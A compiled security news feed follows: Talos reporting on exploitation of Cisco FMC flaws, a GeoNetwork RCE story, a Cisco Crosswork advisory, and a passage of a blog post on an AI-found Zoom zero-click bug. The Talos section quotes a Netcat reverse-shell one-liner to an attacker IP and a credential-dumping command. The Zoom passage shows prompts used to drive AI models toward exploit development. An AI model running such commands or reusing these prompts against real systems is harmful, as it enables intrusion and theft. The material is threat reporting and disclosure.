2026-63873CVE-2026-64347CVE-2026-64386CVE-2026-64304CVE-2026-63798CVE-2026-64404CVE-2026-53141CVE-2026-63811CVE-2026-68090CVE-2026-64344CVE-2026-64458CVE-2026-64415CVE-2026-64313CVE-2026-64405CVE-2026-64464CVE-2026-64382CVE-2026-53366CVE-2026-63874CVE-2026-64422CVE-2026-64531CVE-2026-63828CVE-2026-63826CVE-2026-53170CVE-2026-64207CVE-2026-64393CVE-2026-52942CVE-2026-64259CVE-2026-53178CVE-2026-64340CVE-2026-53156CVE-2026-64283CVE-2026-64399CVE-2026-64205CVE-2026-64300CVE-2026-64448CVE-2026-63795CVE-2026-64594CVE-2026-64403CVE-2026-64319CVE-2026-64511CVE-2026-53242CVE-2026-64492CVE-2026-53248CVE-2026-64463CVE-2026-64285CVE-2026-64603CVE-2026-53401CVE-2026-64384CVE-2026-64490CVE-2026-53229CVE-2026-64494CVE-2026-53164CVE-2026-64442CVE-2026-63806CVE-2026-64407CVE-2026-64358CVE-2026-53363CVE-2026-64315CVE-2026-63819CVE-2026-53393CVE-2026-64604CVE-2026-64267CVE-2026-52939CVE-2026-63803CVE-2026-53326CVE-2026-64265CVE-2026-53209CVE-2026-63815CVE-2026-64389CVE-2026-64486CVE-2026-63810CVE-2026-53335CVE-2026-64482CVE-2026-68089CVE-2026-52935CVE-2026-53220CVE-2026-64397CVE-2026-53226CVE-2026-64336CVE-2026-64290CVE-2026-64383CVE-2026-64356CVE-2026-68092CVE-2026-53241CVE-2026-53145CVE-2026-53343CVE-2026-53232CVE-2026-64377CVE-2026-64496CVE-2026-53144CVE-2026-63832CVE-2026-64509CVE-2026-63834CVE-2026-64329CVE-2026-53265CVE-2026-64251CVE-2026-64504CVE-2026-63823CVE-2026-64484CVE-2026-63869CVE-2026-64297CVE-2026-68088CVE-2026-74584CVE-2026-64395CVE-2026-53152CVE-2026-53139CVE-2026-64441CVE-2026-64472CVE-2026-64312CVE-2026-64323CVE-2026-53202CVE-2026-53244CVE-2026-63836CVE-2026-53347CVE-2026-53205CVE-2026-64416CVE-2026-53346CVE-2026-53340CVE-2026-53396CVE-2026-64433CVE-2026-63830CVE-2026-53222CVE-2026-53233CVE-2026-53168CVE-2026-53392CVE-2026-64277CVE-2026-63868CVE-2026-53275CVE-2026-53385CVE-2026-63835CVE-2026-64294CVE-2026-53391CVE-2026-64444CVE-2026-53135CVE-2026-63807CVE-2026-64192CVE-2026-64350CVE-2026-53349CVE-2026-53214CVE-2026-53341CVE-2026-64296CVE-2026-63871CVE-2026-64408CVE-2026-64266CVE-2026-53397CVE-2026-53339CVE-2026-53350CVE-2026-64295CVE-2026-64353CVE-2026-53274CVE-2026-64429CVE-2026-53362CVE-2026-53381CVE-2026-64536CVE-2026-64372CVE-2026-64428CVE-2026-64477CVE-2026-64588CVE-2026-63818CVE-2026-64306CVE-2026-53356CVE-2026-53240CVE-2026-64479CVE-2026-64343CVE-2026-53268CVE-2026-53249CVE-2026-64471CVE-2026-64387CVE-2026-64270CVE-2026-53182CVE-2026-64426CVE-2026-53361CVE-2026-53197CVE-2026-53267CVE-2026-64380CVE-2026-64272CVE-2026-64499CVE-2026-64556CVE-2026-64288CVE-2026-64439CVE-2026-64474CVE-2026-53177CVE-2026-53149CVE-2026-64379CVE-2026-53136CVE-2026-64480CVE-2026-53383CVE-2026-64365CVE-2026-64327CVE-2026-53333CVE-2026-64400CVE-2026-53245CVE-2026-53183CVE-2026-64318CVE-2026-64445CVE-2026-64488CVE-2026-64363CVE-2026-64279CVE-2026-53243CVE-2026-64271CVE-2026-64305CVE-2026-64592CVE-2026-64388CVE-2026-64299CVE-2026-64258CVE-2026-53201CVE-2026-53266CVE-2026-64508CVE-2026-64435CVE-2026-53387CVE-2026-53239CVE-2026-64191CVE-2026-53150CVE-2026-53403CVE-2026-64346CVE-2026-64351CVE-2026-64333CVE-2026-64487CVE-2026-53142CVE-2026-63867CVE-2026-64420CVE-2026-64284CVE-2026-64398CVE-2026-64206CVE-2026-64495CVE-2026-53155CVE-2026-64391CVE-2026-53263CVE-2026-53338CVE-2026-64412CVE-2026-53210CVE-2026-64481CVE-2026-63801CVE-2026-64354CVE-2026-64601CVE-2026-63796CVE-2026-64269CVE-2026-64246CVE-2026-64310CVE-2026-64418CVE-2026-64478CVE-2026-63821CVE-2026-53219CVE-2026-64469CVE-2026-64510CVE-2026-53171CVE-2026-64245CVE-2026-53146CVE-2026-52938CVE-2026-53187CVE-2026-64489CVE-2026-53162CVE-2026-64289CVE-2026-64500CVE-2026-64359CVE-2026-64256CVE-2026-53179CVE-2026-64513CVE-2026-80591CVE-2026-64483CVE-2026-64593CVE-2026-53255CVE-2026-64369CVE-2026-64254CVE-2026-53337CVE-2026-53236CVE-2026-64497CVE-2026-53161CVE-2026-53329CVE-2026-64309CVE-2026-64447CVE-2026-64473CVE-2026-64457CVE-2026-53398CVE-2026-64307CVE-2026-52908CVE-2026-53344CVE-2026-53160CVE-2026-64291CVE-2026-63814CVE-2026-64600CVE-2026-64334CVE-2026-64450CVE-2026-53231CVE-2026-64187CVE-2026-64376CVE-2026-64419CVE-2026-53203CVE-2026-64189CVE-2026-53345CVE-2026-53355CVE-2026-53388CVE-2026-64273CVE-2026-64274CVE-2026-53153CVE-2026-64598CVE-2026-64366CVE-2026-64249CVE-2026-64378CVE-2026-64411CVE-2026-52909CVE-2026-53353CVE-2026-53159CVE-2026-64264CVE-2026-64434CVE-2026-64461CVE-2026-53261CVE-2026-64298CVE-2026-68085CVE-2026-64326CVE-2026-63808CVE-2026-64502CVE-2026-53235CVE-2026-64476CVE-2026-64330CVE-2026-53262CVE-2026-64529CVE-2026-53207CVE-2026-53336CVE-2026-64278CVE-2026-64449CVE-2026-53395CVE-2026-64396CVE-2026-63812CVE-2026-64468CVE-2026-64337CVE-2026-53200CVE-2026-64247CVE-2026-53238CVE-2026-53184CVE-2026-64425CVE-2026-64255CVE-2026-64394CVE-2026-64590CVE-2026-64335CVE-2026-64503CVE-2026-64596CVE-2026-53328CVE-2026-53189CVE-2026-53180CVE-2026-68460

Active exploitation of Cisco Secure Firewall Management Center vulnerabilities

Ref: https://blog.talosintelligence.com/fmc-ongoing-exploitation/

Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco’s Secure Firewall Management Center (FMC) Software. First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco’s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, CVE-2026-20316 is a vulnerability that allows a remote attacker to log in using a low-privileged account.

CVE-2026-20079 is a critical vulnerability with a CVSS score of 10.0. Customers are strongly advised to follow Cisco’s guidance provided in the security advisory and apply the security patches previously made available.

CVE-2026-20316 has a CVSS score of 5.3, however it can be used with other Cisco Secure FMC vulnerabilities to elevate privileges.

Due to Talos identifying in the wild abuse of these CVE’s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316. A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 14th).

Talos’ analysis illustrates three clusters of post-compromise activity on FMC instances associated with state-sponsored and crimeware threat actors, as described below. The first cluster which we track as UAT-12197, involves the exploitation of CVE-2026-20079, leading to the deployment of web shells, a Java Archive (JAR)-based command executor, and credential exfiltration.

The second intrusion cluster, which we attribute to UAT-11823, consisted of the exploitation of CVE-2026-20079 and CVE-2026-20316, leading to the deployment of a Netcat-based reverse shell and proxy tooling, ultimately leading to the deployment of a variant of the Cyclops Blink malware, previously attributed to the Russian APT Sandworm by the United States and United Kingdom.

Talos is further disclosing a third cluster of malicious activity on an FMC instance, attributed to UAT-11988, who we assess with high confidence is a ransomware operator. The preliminary stages of the attack entailed the threat actor gaining access to the system via static credentials (CVE-2026-20316) and then abusing legitimate built-in FMC tooling in living-off-the-land (LOTL) fashion to conduct extensive reconnaissance of the victim’s environment, deploy tunneling tools to maintain network access, harvest credentials, and build a target list of endpoints to encrypt/lock. Subsequent actions and tactics, techniques, and procedures (TTPs) the threat actor used in the victim’s environment were consistent with those of Qilin ransomware affiliates.

Cluster #1: UAT-12197

This cluster of activity involved the successful exploitation of CVE-2026-20079 and the subsequent placement of a malicious web shell in the CSM Tomcat webroot directory. The web shell is JSP-based and Base64 decodes a parameter labelled “F6C1F0E7”, consisting of the class name to load in the JAVA process:

The web shell was used to place a malicious JAR file in the same directory. The threat actors used the JAR file (named “cmd[.]jar”) to query the compromised systems’ internal databases to obtain user authentication data and credentials:

/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\''

The JAR file is basically a command executor that obtains the command to be executed from its command line and executes it using /bin/sh -c <command>.

Cluster #2: UAT-11823

Talos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence. UAT-11823 overlaps in tooling with the Sandworm APT actor. The threat actor obtained initial access to compromised systems by either exploiting CVE-2026-20079 or via static credentials. After obtaining access, UAT-11823 subsequently updated the “license.tmp” file on disk (using Makeself) with a malicious copy to establish a Netcat-based reverse shell to their own command-and-control (C2) server:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f

This license file essentially acted as a Makeself package that was then executed via the installation process (as root) by the “package_info[.]pl” utility:

/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm

This mechanism of deploying malicious package files is likely an indicator of the exploitation of CVE-2026-20316, a vulnerability that allows a remote attacker to log in using a low-privileged account. Talos assesses with high confidence that the attackers exploited CVE-2026-20079 and CVE-2026-20316.

Configuration exfiltration

UAT-11823 also deployed two bash scripts to harvest managed-device configurations. The configurations collected were staged into archives for subsequent exfiltration.

Modular ELF implant: Cyclops Blink

The threat actors downloaded a modular ELF implant from one of their Netcat C2 servers. The ELF-based implant is Cyclops Blink, a malware family previously attributed to Sandworm, a Russian APT actor. This variant of Cyclops Blink consists of the following capabilities:

• Establish persistence scripts in /etc/init.d/ that execute the implant
• DNS over HTTPS (DoH) IP resolution
• File administration including downloads and uploads
• Credential harvesting
• Arbitrary file and command execution on the compromised system
• Network scanning and discovery
• Packet sniffing (with option filters)

Cluster #3: UAT-11988, a Qilin ransomware operator

A third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials (CVE-2026-20316), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption.

The threat actor also staged a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure.

Once all these preliminary actions were completed, the operator began conducting additional probes within the compromised network, deploying antivirus (AV) killers and ultimately the Qilin ransomware family.

Instrumenting operations via package_info.pl

After successfully accessing the device, the threat actor abused the legitimate utility “package_info.pl” to execute an attacker-crafted malicious “license[.]tmp” file with root privileges. The malicious file consisted of commands to run on the system to conduct extensive reconnaissance in the victim organization’s environment:

• Host names, IP addresses, directory listings
• Active Directory (AD) service-accounts credentials, MySQL account credentials
• Domain account information exfiltration
• Computer object lists
• Hostname to IP mappings spanning domain controllers, ADFS, exchanges, file servers, database servers, etc.

All the information collected was staged into already accessible files on the FMC server and was exfiltrated by the threat actor using HTTP GET requests.

Tunneling into the compromised organization

Once extensive reconnaissance was completed, the threat actor attempted to establish persistent network access into the victim organization using a Python SOCKS5 proxy (socks5.py) and a reverse-SSH tunnel from the FMC back to the attacker’s own remote host. The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).

Pre-ransomware actions and ransomware deployment

The threat actor conducted extensive probing of endpoints in the victim’s environment, deployed open-source tooling such as impacket, Invoke-TheHash, and custom-made AV killers — all followed by the deployment of the Qilin ransomware on selected endpoints.

Recommendations and detection guidance

Due to Talos identifying in the wild abuse of these CVE’s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316. A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 16th). Nonetheless, given the in the wild abuse we strongly recommend that customers apply the referenced hotfixes as soon as possible, pending the hardening release.

Customer support is also available by initiating a TAC request.

• Snort SIDs for CVE-2026-20079: 66075 – 66080.
• Snort SIDs for CVE-2026-20316: 66883.
• Snort SIDs for the malware: 66960, 66961.

Indicators of compromise

IOCs for these threat clusters are also available on our GitHub repository here. 

• IOC : B037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d
• Cluster : UAT-12197
• Description : home[.]jsp – web shell.
• IOC : Db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e
• Cluster : UAT-12197
• Description : cmd[.]jar – JAR-based command executor.
• IOC : 89.34.96[.]56
• Cluster : UAT-11823
• Description : NetCat-based reverse shell C2. Cyclop Blink C2.
• IOC : 208.123.119[.]215
• Cluster : UAT-11823
• Description : NetCat-based reverse shell C2.
• IOC : 104.218.165[.]253
• Cluster : UAT-11823
• Description : Attacker’s vulnerability scanner for CVE-2026-20079.
• IOC : 91.214.78[.]118
• Cluster : UAT-11823
• Description : NetCat-based reverse shell C2.
• IOC : 6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461
• Cluster : UAT-11823
• Description : Cyclops Blink malware.
• IOC : 43.204.2[.]142
• Cluster : UAT-11988
• Description : Attacker IP address used to conduct intrusions.

Integrated Coverage

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Related vulnerabilities: CVE-2026-20316CVE-2026-20079

• https://support.checkpoint.com/results/sk/sk1000118/ - CVE-2026-85103 - ASN.1 decoding heap overflow leading to a remote code execution - A heap overflow in the VPN certificate ASN.1 decoding flow may allow a remote attacker to remotely execute arbitrary code on the management and Security Gateway.
• https://support.checkpoint.com/results/sk/sk1000117/ - CVE-2026-85102 - Authentication Bypass and Remote Code Execution in Remote Access and Site-to-Site VPN - Improper validation of certificate data during VPN negotiation may allow an unauthenticated remote attacker to execute arbitrary code on the Security Gateway.

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Related vulnerabilities: CVE-2026-85102CVE-2026-85103

GeoNetwork Fixes Unauthenticated RCE Chain Affecting Government Geoportal Backends

Vulnerability / Web Security

Two vulnerabilities in GeoNetwork can be chained to achieve unauthenticated remote code execution (RCE) on the open-source geospatial metadata catalog, which sits behind many government and agency geoportals.

The project shipped fixes in versions 4.4.12 and 4.2.17 on July 8, 2026, and published the vulnerability details on August 31.

GeoNetwork originated at the United Nations Food and Agriculture Organization and is maintained under the Open Source Geospatial Foundation (OSGeo). It is a core component of many Spatial Data Infrastructure deployments across Europe and beyond, including the backend of the European INSPIRE geoportal.

The chain combines a missing authorization check with an unsafe transformation engine. The first flaw, CVE-2026-63219 (CVSS score: 8.6), is a missing authorization check on the formatter upload endpoint.

The unauthenticated file upload flaw allows an anonymous user to write arbitrary .xsl or .zip formatter files to the GeoNetwork formatter directory, which, on its own, constitutes unauthorized write access to server storage.

"An unauthenticated attacker can upload arbitrary .xsl or .zip formatter files to the server," the project said in the advisory.

The second flaw, CVE-2026-58400 (CVSS score: 9.1), is an unsafe configuration of the Saxon Extensible Stylesheet Language Transformations (XSLT) processor used to render formatters.

The engine runs with secure processing enabled and Java extension functions disabled, so any stylesheet it loads can call java.lang.Runtime.exec() or java.lang.ProcessBuilder and run operating-system commands as the GeoNetwork process user.

On its own, that second flaw requires privileges to upload a formatter, which is why it is scored as needing high privileges. Chaining it with the upload flaw removes that precondition, because the upload is reachable without authentication.

An attacker first uploads a malicious formatter through the unprotected endpoint. A follow-up GET request to a public record then triggers the Saxon engine to execute the stylesheet, which delivers code execution. Security vendor Ethiack, whose researcher Rafael Castilho reported the flaws, said the chain is reachable starting with version 4.0.6, when the formatter endpoint was refactored, and the authorization line was dropped.

Ethiack said it fingerprinted 121 internet-exposed GeoNetwork deployments running affected versions across 39 countries, and that 89 percent of them were government-, military-, or national-agency-related.

Those figures describe exposed instances running vulnerable versions, not confirmed victims or compromises, and the fingerprinting is single-sourced to the vendor.

All 4.4.x releases up to and including 4.4.11 and all 4.2.x releases up to and including 4.2.16 are affected, and the flaws are fixed in 4.4.12 and 4.2.17.

"All users are strongly encouraged to upgrade to 4.4.12 or 4.2.17 as soon as possible," the project said in its release announcement.

Until the update is applied, administrators can block write methods to the formatter endpoint at the reverse proxy, thereby blocking legitimate formatter uploads through the admin console.

The advisory lists the following interim rules -

• Apache httpd - deny POST, PUT, and PATCH requests to the /geonetwork/srv/api/formatters location.
• Nginx - restrict the same location to GET, HEAD, and OPTIONS methods.

The flaws were fixed roughly eight weeks before the advisories were published. The Hacker News found no reference to the GeoNetwork flaws in CISA's Known Exploited Vulnerabilities catalog as of the disclosure, and no public reporting of exploitation in the wild.

The disclosure follows a run of security issues across the wider geospatial stack. Last year, a critical GeoServer flaw (CVE-2024-36401, CVSS score: 9.8) was exploited into botnets, cryptocurrency miners, and the SideWalk backdoor, and a GeoServer XML External Entity (XXE) flaw (CVE-2025-58360) was added to CISA's KEV catalog in December 2025 after evidence of active exploitation. Last month, a separate unauthenticated SQL injection to RCE in GeoServer, disclosed as a GeoServer zero-day, came under active probing shortly after it went public.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

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Related vulnerabilities: CVE-2026-63219GHSA-MH22-PRQR-VF42CVE-2026-58400CVE-2025-58360CVE-2024-36401GHSA-X898-729X-CC3R

Cisco Crosswork Security Hardening Release: August 2026 Summary

• As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities.

  These vulnerabilities were found during internal testing and are not known to be actively exploited. To assist customers in patching and to streamline the disclosure process, Cisco has grouped these issues by their underlying vulnerability class - Common Weakness Enumeration (CWE) - and assigned a single Common Vulnerabilities and Exposures Identifier (CVE ID) to each CWE grouping.

  Cisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities.

  This advisory is available at the following link:
  https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-crosswork-UzDTU9Vh

Affected Products

---

• These vulnerabilities affect the following Cisco Crosswork platforms, regardless of device configuration:

  • Crosswork Data Gateway
  • Crosswork Network Controller
  • Crosswork Planning
  • Crosswork Workflow Manager

  For information about which Cisco software releases are vulnerable, see the Fixed Software section of this advisory.

  Only products listed in the Vulnerable Products section of this advisory are known to be affected by these vulnerabilities.

Details

---

• The following table outlines the vulnerability classes that are addressed in this hardening release. The CVSS score that is assigned to each CVE ID represents the maximum potential severity of the single most impactful underlying vulnerability within that specific CWE category.

• CVE ID: CVE-2026-20030

• Highest CVSS Score: 10.0
• Vulnerability Class (Highest-Level CWE): CWE-89
• Description: Improper neutralization of special elements used in a SQL command
• CVE ID: CVE-2026-20357
• Highest CVSS Score: 10.0
• Vulnerability Class (Highest-Level CWE): CWE-306
• Description: Missing authentication for critical function
• CVE ID: CVE-2026-20358
• Highest CVSS Score: 10.0
• Vulnerability Class (Highest-Level CWE): CWE-73
• Description: External control of file system
• CVE ID: CVE-2026-20359
• Highest CVSS Score: 9.9
• Vulnerability Class (Highest-Level CWE): CWE-522
• Description: Insufficiently protected credentials

Workarounds

---

• There are no workarounds that address these vulnerabilities.

Fixed Software

---

• To fully remediate these vulnerabilities and avoid future exposure as described in this advisory, Cisco strongly recommends that customers upgrade to the fixed software indicated in this advisory.

  Fixed Releases

  In the following table, the left column lists Cisco Crosswork products. The center column indicates which specific releases are affected by the vulnerabilities that are described in this advisory. The right column indicates whether a release is affected by these vulnerabilities and the first release that includes the fix for these vulnerabilities. Customers are advised to upgrade to an appropriate fixed software release as indicated in this section.

Cisco Crosswork Product	Cisco Crosswork Release	First Fixed Release
Crosswork Data Gateway	7.2.1 and earlier	7.2.1-SP
Crosswork Network Controller	7.2.1 and earlier	7.2.1-SP
Crosswork Planning	7.2.1 and earlier	7.2.1-SP
Crosswork Workflow Manager	2.1.1 and earlier	2.1.1-SP

The Cisco Product Security Incident Response Team (PSIRT) validates only the affected and fixed release information that is documented in this advisory.

Exploitation and Public Announcements

---

• The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities that are described in this advisory.

Source

---

• These vulnerabilities were found during internal security testing using existing testing processes as well as frontier AI models.

Cisco Security Vulnerability Policy

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Related to This Advisory

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URL

---

Revision History

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• Version: 2.0

• Description: Added Cisco Crosswork Workflow Manager as an affected product.
• Section: Vulnerable Products and Fixed Releases
• Status: Final
• Date: 2026-AUG-21
• Version: 1.0
• Description: Initial public release.
• Section: -
• Status: Final
• Date: 2026-AUG-19

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Related vulnerabilities: CVE-2026-20359CVE-2026-20030CVE-2026-20357CVE-2026-20358

Original article https://a.security/blog/asecurity-zoomsday

Ⓐ Cyber Security | Blog | ZOOMSDAY

A critical vulnerability in Zoom, a platform used by 70% of the Fortune 100, discovered by publicly available frontier models, allows an attacker participating in a meeting a zero-click remote code execution on all meeting participants across all native clients. This research emphasizes the risk of weaponized AI and how vulnerable we are as an industry.

Executive Summary

• Ⓐ Security, the Autonomous Offensive Security and Remediation Platform, discovered a critical flaw in Zoom that let an attacker take complete control of another user's device during a live call. No click, no download, and nothing required of the victim but being in the meeting. The vulnerability is present in every version of Zoom on every device and operating system: Windows, Mac, iPhone, Android and Linux. The vulnerability exists in all versions up to and including 7.0.5.
  ‍

• All Zoom Workplace clients on all supported platforms before version 7.1.5 and 7.0.6 using end-to-end encryption settings are still vulnerable. We recommend updating your clients to the latest version.

• The entire operation, from finding the flaw to building a working exploit, was carried out by Ⓐ using fewer than 20 prompts on publicly available AI models in under 24 hours.

• This class of capability would previously have only been available to nation-state threat actors, but the model requiring elite teams, months of effort, and weapons-grade budgets has collapsed. Today, a single researcher was able to develop a nation-state-level exploit in less than a day.

• The vulnerability is a memory-corruption bug that exploits Zoom's annotation feature.
  Zoom annotation is built on a proprietary protocol — closed code with no public documentation or specification. Ⓐ Research was able to exploit the fact that every Zoom client automatically parses whatever it receives, sending a specially crafted message to corrupt the receiving client's memory and run code on it. The protocol opens a direct channel between a viewer and a sharer, letting the attacker target each participant individually.

• The exploit enables attackers to either join or host a meeting, target any participant, and take over their machine with no required action from the victim and no visual cue indicating the compromise.

• Once the nefarious code is running on the victim's device, the threat actor can quietly steal personal data, switch on the microphone or camera to spy on the target, or install other malicious software. In a large call, that's a room full of targets from a single message, with no safe seat in it.

• Ⓐ Security collaborated with Zoom to address the issue. The company reported the vulnerability to Zoom in June 2026. Zoom acknowledged receipt and deployed client-side and server-side fixes.

• The first two vulnerabilities are tracked as CVE-2026-53413 and CVE-2026-53414. Zoom has issued a security alert.
  ‍

• A third vulnerability, CVE-2026-53415, was reported but had already been found and fixed by Zoom before our report.

Intro

Ⓐ found a critical, nation-state-grade vulnerability in Zoom in a single working day using an AI agent and models anyone can access today.

Exploits like this one are weapons. Governments regulate their export. Criminal organizations pay millions for them. Acquiring one has always required nation-state infrastructure, elite teams, and months of work.

That barrier is gone.

AI security research has been building to this in steps: first solving CTF challenges, then finding bugs in public bug-bounty programs. That work was impressive, but it lived in controlled or open environments, targets with published scope and known rules. Zoom is neither. It's closed-source enterprise software with no public internals, the kind of target that defenders assume is protected by obscurity and scrutiny. Producing a working exploit here sits in the category nation-states spend months and millions to reach.

The flaw allowed an attacker to take control of a device during any live Zoom call, with no action required from the victim, no click, no download. It worked in both directions: a compromised presenter could reach every participant, and any participant could reach the presenter. It was confirmed on all platforms Zoom runs on: Windows, macOS, iOS, and Android.

This matters beyond Zoom. Zoom is a core infrastructure for 70% of the Fortune 100, most of the Fortune 500, and federal agencies. Additionally, it is the platform where millions meet their doctors, lawyers, and families. But the real finding isn't the bug. It's the speed. The barrier to producing this class of weapon has collapsed, and it won't come back.

We disclosed the vulnerability to Zoom privately; their team engaged quickly and shipped a fix before publication.

The takeaway for security leaders: defenses built for a world where these weapons were scarce no longer hold. The only durable response is to turn the same capability inward, testing your own environment continuously, before an adversary gets there.

Technical Deep-dive

Why Zoom, and where we started

Ⓐ's mission is to secure modern enterprises against weaponized AI.
That means testing more than the systems our customers own. It means testing the software they depend on and cannot audit.

Zoom is one of those tools. It is closed-source, publishes no protocol specifications, and is deployed nearly everywhere that matters.

We started from the Android client, version 7.0.4. The Android Package is a container, Dalvik bytecode plus 121 native shared libraries. The Java layer is mostly UI and IPC glue. Anything that touches untrusted bytes at speed lives in native code, so the native side was the target.
That is still far more surface than anyone can reverse by hand, so the first job was ranking it.

How we mapped the attack surface

> **PROMPT
> **I’ve Decompiled Zoom Android v7.0.4. Java in the dex, 121 native .so files, IDA available.
> Map the attack surface end to end: enumerate the native libraries and what each does, then for every function reachable from a JNI entry point, score its exposure to dangerous sinks (memcpy/strcpy/sprintf families, computed-size allocators) weighted by severity, function size and call depth.
> Give me a ranked work queue plus a one-line 'library → entry point → sink class' map.

To find the targeted library our agents built a static pre-ranker that automatically scored every function reachable from a JNI entry point by its calls to dangerous sinks (memcpy/strcpy/sprintf, computed-size allocators), weighted by CWE severity, function size and call depth. It produced a ranked work queue of 3,762 functions across 70 libraries, topped by the video, image and audio stacks

That queue told us where Java could reach dangerous code and that turned out to be the wrong question. Its top entries were local paths: frame-capture and render entry points driven by the device's own camera, not by another participant. The one bug we did find on that side of the house, a 32-bit width × height overflow in a native video receive worker, we reached it sits behind a network thread with no JNI entry point at all so a JNI-rooted ranker was structurally blind to it. And it went nowhere: it turned out to be unreachable with the input shapes a real meeting produces.

That surface came up dry, so we flipped the search: instead of hunting for dangerous code, we hunted for what a remote participant can actually reach. That put the focus on the protocol itself — the messages clients send and receive from each other during a meeting, and how much of each one the sender controls. To find it we traced the client dynamically through a Frida MCP, exercising each meeting feature in a live call while watching which libraries loaded and which functions fired underneath. Annotation, a collaboration feature that lets you draw, type text, add shapes, or place stamps directly on a shared screen or digital whiteboard during a meeting, was the one that paid off: drawing an object lit up libannotate.so, and with it the serialize and deserialize routines that build the message on the sender and rebuild it on the receiver. It's also worth noting that the feature can be exploited whether the user is working with the tool in a particular meeting or not. It is “always on” and in older versions of the client “always vulnerable”

That put libannotate.so at the front. The static score had ranked it #45. It sits directly on the protocol that's reachable from remote — a proprietary, non-CVE library with complex messages that are built and sent over the wire and received on the other user's client. Also worth mentioning: the same source compiles into the Windows, macOS, iOS and Android clients, so a bug here isn't one-platform, it runs across the entire product line.

Reverse engineering the Annotation library

> PROMPT
> Reverse the annotation protocol in IDA.
> I want the full opcode → handler map: which message types construct objects, which carry a full body vs. an id-only reference, how objects are created / synced / removed / full-synced, and where each handler forwards the deserialized object.
> Rename handlers in the IDB as you go.

Annotation objects

The first thing to understand is that nothing about a drawing travels as an image.
When a participant draws on a shared screen or whiteboard, their client doesn't ship pixels, it builds a typed in-memory object describing the mark.
A freehand stroke becomes a CAnnoObjSmoothPen; a text box becomes a CAnnoObjTextbox; shapes, highlights, and arrows each have their own class.
Every one of them descends from a common base, CAnnoObj, which carries the shared header that contains object type, flags, geometry. Each subclass adds its own fields afterwards.

To leave the machine, that object is serialized: flattened into a byte stream and wrapped in a Protocol Data Unit (CAnnoPduAddObj and its siblings: add, update, remove, clear).
The PDU is what actually crosses the network.
On the far side the process runs in reverse — the receiver deserializes the bytes back into the same object graph and hands it to the renderer. Serialize and deserialize are mirror images of each other, and that symmetry is exactly what made the protocol recoverable: every field written by a stream_write on the send side has a matching stream_read on the receive side, so walking the caller sets of those two primitives reconstructs the whole grammar, field by field.

The format itself is self-describing in the worst way for a defender: it is a flat sequence of length-prefixed and count-prefixed reads. The parser reads a value off the wire, then trusts that value to decide how much more to read, how many styled runs a text frame contains, how many code units a glyph buffer holds. Those counts come from the sender.

How a drawing reaches every participant

Annotation PDUs don't go peer-to-peer. They are handed to Zoom's MMR (Multimedia Router) server and MMR doesn't blind-fan one client's object out to the whole room, every participant holds a channel to the sharer, and the sharer holds one back to each participant.

Upstream, participant → sharer carries the objects a viewer draws.
Downstream, sharer → participant carries the sharer's replies on that same channel, DocRequestDrawAck, AddObjAck and the receiving client runs them through the full deserialize stack.

Nothing on the receiving side enforces that the downstream channel carries only acknowledgements. CAnnoPduFactory::create reads the opcode off the wire and dispatches to that class's deserializer; on the paths traced here there is no sender-role or origin check. AddObj is 0x10001 and AddObjAck is 0x10002. One increment separates "here is an object" from "I received your object," and the factory cannot tell which seat the sender occupied.
Put 0x10001 and a serialized object graph where an ack body belongs and the victim reconstructs the object to full depth.
That is the design bug: an ack is allowed to carry an object body, and the receiver deserializes it.

The sharer seat is the stronger position, and the asymmetry is reach.
From it you hold a direct, addressed channel to every participant, so you can drive one victim's parser at a time.
From a viewer seat the same primitive exists but points at exactly one deserializer, the sharer's.

The Vulnerabilities

> PROMPT
> ‍_The deserialize side is remotely reachable — any participant's PDU gets rebuilt on the receiving client. That's the attack surface, so scope everything to those functions. Audit libannotate's object deserializers for memory-safety bugs: wire counts used as sizes, copies with no destination bound, allocations that don't match the bytes actually read. > > ‍ > > _RESULT
> ‍Strongest hit: CAnnoFormatBlock::Deserialize — unbounded copy into a fixed buffer.The function holds four fixed 128-byte buffers. For each one it reads a 32-bit count off the wire and copies 2 × count bytes in. The count is checked only for being non-zero — there is no comparison against the 128-byte destination anywhere in the function, and the copy routine it calls measures only the source, handing over as many bytes as the packet still has left. Neither side is guarding the destination.
> The buffer being filled is the last field in the object, and that object is a member of the 704-byte text range that CAnnoTextFrame::Deserialize builds as a local variable in its own stack frame. So an oversized count does not stop at the end of the object — it keeps writing forward through the frame, into the saved registers and the return address.
> Both halves of the write are attacker-supplied: the count sets how far it runs, and the bytes copied are the packet's own. This is a remotely triggerable stack buffer overflow.

> PROMPT
